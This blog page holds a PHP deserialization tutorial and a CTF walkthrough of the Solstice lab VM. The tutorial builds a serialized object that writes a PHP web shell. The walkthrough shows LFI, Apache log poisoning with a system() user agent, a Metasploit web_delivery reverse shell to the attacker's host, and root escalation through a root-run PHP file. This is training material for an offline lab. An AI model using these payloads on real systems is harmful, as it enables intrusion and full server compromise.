Categories
Hacking Security Tutorials

PHP Deserialization

Exploiting it to gain remote code execution

PHP Deserialization is not something that I have much experience of, but having done a CTF recently which required me to exploit PHP deserialization to gain remote access, I realised how straight forward it can be. Through this post, I aim to provide a basic example of a deserialization to RCE exploit for those who aren’t familiar.

Before I share an example, let’s first review what serialization and deserialization mean. This write up assumes you have a very high level understanding of object orientation in programming languages.

What is serialization?

Put simply, serialization is a way to turn an object into a string. For example, you may have a user object in PHP that needs to be transmitted over the network to a users web browser, so that client side scripting such as JavaScript can handle the object, and read the properties of the object.

Essentially, serialization turns the PHP object into a string, ready for transmitting over a network.

What is deserializastion?

Deserialization is very simply the opposite of serialization. It turns a serialized string back into an object.

A vulnerable PHP Script (vuln.php)

I don’t claim to be an expert in serialization so there may well be other methods which I’m not covering, but I hope to show you an example where it is possible to gain Remote Code Execution.

Consider the following vulnerable code which writes the current time to a text file.

<?php

$getVar = $_GET['update'];

class timeUpdate
{
	public $currentTime = '';
        public $outputFile = 'time.txt';

        public function changeTime()
        {
                echo 'The time in the file will be updated imminently.';
        }


        public function __destruct()
        {
		file_put_contents('/home/bootlesshacker/' . $this->outputFile, $this->currentTime);
        }
}


$timeobject = unserialize($getVar);

$example = new timeUpdate;
$example->currentTime = date("F j, Y, g:i a");
$example->changeTime();


?>

Before we try and work out how to exploit this, let’s understand how this works. The PHP file contains a class called timeUpdate. At the bottom of the script, a new object is created ($example) using the timeUpdate class. The currentTime attribute is then set, and the changeTime function is called. The changeTime function simply echoes a message to advise the time in the file will be updated imminently.

The __destruct() function is then called which writes the contents of the current time to the file stored in the $this->outputFile variable – the reason this function executes is because the script has come to an end and the destruct function is called for any required cleanup activity (or, in this case, to write the current time to the required file).

But how can we exploit this?

You may also notice the file contains a line which uses the unserialize function to unserialize a HTTP GET variable ($_GET[‘update’]). Therefore, if we pass a serialized object string to that GET variable, it will unserialize it and the $timeobject will become the object we pass in via that GET variable.

We can exploit this by creating a timeUpdate object locally on our computer.

Let’s create a PHP file on our own computer to create our object.

<?php

class timeUpdate {
	public $currentTime = '<?php system($_GET["cmd"]); ?>';
	public $outputFile = 'shell.php';

}

echo urlencode(serialize(new timeUpdate));

?>

When we run this file, it creates a new timeUpdate object, sets the currentTime variable to our payload, sets the output file name as shell.php, and then serializes this new object into a string. It then puts this serialized string into the urlencode function.

If we then visit the vulnerable PHP file passing the above value in via the GET parameter, it will create a new file called shell.php with our payload.

http://vulnerable-website.fake/vuln.php?update=OUTPUT FROM OUR SCRIPT

This works because as the vulnerable PHP script executes, it takes our GET parameter, unserializes our object (thereby creating our object within the context of the PHP script). As the script comes to an end, the destruct function for our new object is then called. This creates the new file called shell.php and inserts our payload which we can then use to get remote code execution:

This is a very basic example of exploiting PHP deserialization. The script you come across will likely have a different function, and you will need to identify what the script is doing in order to assess for any serialization vulnerabilities. I hope though this provides a small insight if you’ve not come across this before.

Categories
CTF's Walkthroughs

Sunset: Solstice – CTF Walkthrough

This is my walkthrough of the Solstice CTF exercise located here. It is rated as ‘Intermediate’.

Scan – NMAP

The first thing to do is run an NMAP scan against the host. Here is the command I used:

nmap -A -p- 192.168.56.121

This revealed several open ports. When you supply the ‘-A’ parameter to NMAP, it gives you more of a detailed breakdown.

PortDescription
21FTP service. Anonymous login disabled.
22SSH service.
25SMTP service.
80HTTP service.
139SMB Related Service
445SMB Related Service
2121FTP service. Anonymous login enabled.
3128Squid proxy
8593HTTP Server
54787PHP CLI Server
62524Unknown

I quite like CTF’s which have lots of ports open. It makes the enumeration a lot more challenging but I find the best approach here is simply to take a methodical approach and enumerate each port as much as possible one by one.

Website Enumeration

By the way, enumeration of port 80 returned nothing useful. You may skip to the next section if you don’t want to read this part.

NMAP revealed that the FTP service didn’t have anoymous login enabled so I ignored that initially, and went straight to the website. When visiting the website, it came up with a really basic page.

I decided to use gobuster to scan for directories. I have a script setup for this which may help you:

trap "echo Terminating...; exit;" SIGINT SIGTERM

if [ $# -eq 0 ]; then
    echo "Usage: ott http://host threads optionalExtensions"
    exit 1
fi

for f in /usr/share/dirb/wordlists/common.txt /usr/share/dirb/wordlists/big.txt /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt /usr/share/wordlists/raft/data/wordlists/raft-large-directories-lowercase.txt /usr/share/wordlists/raft/data/wordlists/raft-large-files-lowercase.txt /usr/share/wordlists/raft/data/wordlists/raft-large-words-lowercase.txt
do
  echo "Scanning: " $f
  echo "Extensions: " $3
  if [ -z "$3" ]; then
    gobuster -t $2 dir -f --url $1 --wordlist $f | grep "Status"
  else
    gobuster -t $2 dir -f --url $1 --wordlist $f -x $3 | grep "Status"
  fi
done

This script isn’t perfect, but it allows me to scan websites using a lot of different wordlists. Feel free to copy my script and use/adjust as needed. You can save it in /usr/bin (make sure to make it executable with chmod +x ott). Once saved, you can use it as follows:

ott http://192.168.56.121 50

This didn’t reveal anything of interest apart from a few ‘forbidden’ directories. I decided to rerun the command but specify additional extensions:

ott http://192.168.56.121 50 .phtml,.php,.txt,.html

This again found nothing of use. There may have been more to enumerate here but I decided to move onto the next web port.

Enumerating Port 8593

I fired up my web browser again and visited http://192.168.56.121:8593.

I noticed there were two links on this page. Clicking ‘Main Page’ didn’t seem to do much but when I clicked ‘Book List’, it seemed to add a GET parameter to the URL. Time to test for a Local File Inclusion vulnerability!

http://192.168.56.121:8593/index.php?book=../../../../../etc/passwd

This revealed the /etc/passwd file.

Now that I know the script is vulnerable to LFI, I tried to leverage the vulnerability to get a shell. A good way you can do this is by log poisoning.

I decided to see what logs I could access. I tried a few (auth.log, mail.log etc), but the only ones I could access were the Apache access and error logs (/var/log/apache2/access.log and /var/log/apache2/error.log).

Now that we know we can access the Apache error log, there’s a good chance we can poison this to get a shell. By the way – it took ages for this page to load as I had previously run gobuster against the website causing thousands of logs in the logfile – I guess this is comparable to a real life server in that sense as you will usually find very big log files.

To poison the web log, I loaded up Burpsuite. For those of you who don’t know, Burpsuite is a proxy server (amongst other things) where you can intercept traffic and manipulate it before it gets sent onto the destination. In this case, I manipulated my own web traffic and changed my browser user agent before the request was sent to the server.

When Burpsuite it open, navigate to the ‘Proxy’ tab and ensure the button says ‘Intercept is on’.

When you have enabled Burpsuite, configure your local browser proxy settings to point to this proxy server (yourip:8080). I then visited the main page on the CTF (port 80). The request popped up in Burpsuite, and I change my useragent to include a PHP script.

Mozilla/5.0 <?php system($_GET['cmd']); ?> Gecko/20100101 Firefox/68.0

Once I changed this line on Burpsuite, I clicked ‘Forward’ to forward my request onto the server. This then saves the PHP command straight into the Apache access log, which gets executed once you leverage the LFI vulnerability.

Due to the fact the web browser took such a long time to previously load the access log, I used wget to load the page. First though, I used metasploit to generate a payload.

sudo msfconsole
search web_delivery
use 1
set target 1
show payloads
set payload 15
set LHOST 192.168.56.1
set SRVPORT 8081 (I done this as Burpsuite was still open, which utilises the default port 8080).
run

As you can see, this gives you a PHP command to execute.

I copied this and then put this into the following wget command (on the cmd parameter).

wget "192.168.56.121:8593/index.php?book=../../../../../var/log/apache2/access.log&cmd=metasploit command went here

Bare in mind that you will need to escape the quotes contained in the metasploit command by putting a \ character before them – see the screenshot. This gave me a shell on the server which I was then able to access using the following commands:

sessions -i 1
shell
python -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation

Now that I had a shell, the next step was to escalate my privileges. There are a number of checks that I usually do to try and find a route to privilege escalation.

  • SUID/GUID Checks
  • Writable File Checks
  • Kernel Checks
  • Open ports check
  • Services running as root

… and more.

My checks didn’t return anything too interesting, except for services running as root. To see these services, you can run this command:

ps -aux | grep root

I could see that a PHP command was being run as root. As we can see from the screenshot below, it also had an open port on the local IP (57).

I decided to visit the directory listed in the command (/var/tmp/sv).

Once in the directory, this revealed an index.php file. Knowing this was being ran as root, I can exploit this to get a root shell. I span up another metasploit session and repeated the same steps as I did previously to generate a payload (though this time I set SRVPORT to 8082 and LPORT to 4445). Once done, I pasted the metasploit command again into the PHP file (though only the eval part this time):

echo "<?php eval(); ?>" > index.php
Adjust this command to match what meterpreter gives you.

I then used CURL on the server to download the file and I had a root shell.

curl http://127.0.0.1:57

This took me about 50 minutes – I found privilege escalation easier compared to the initial foothold. Thanks to whitecr0wz for a great CTF.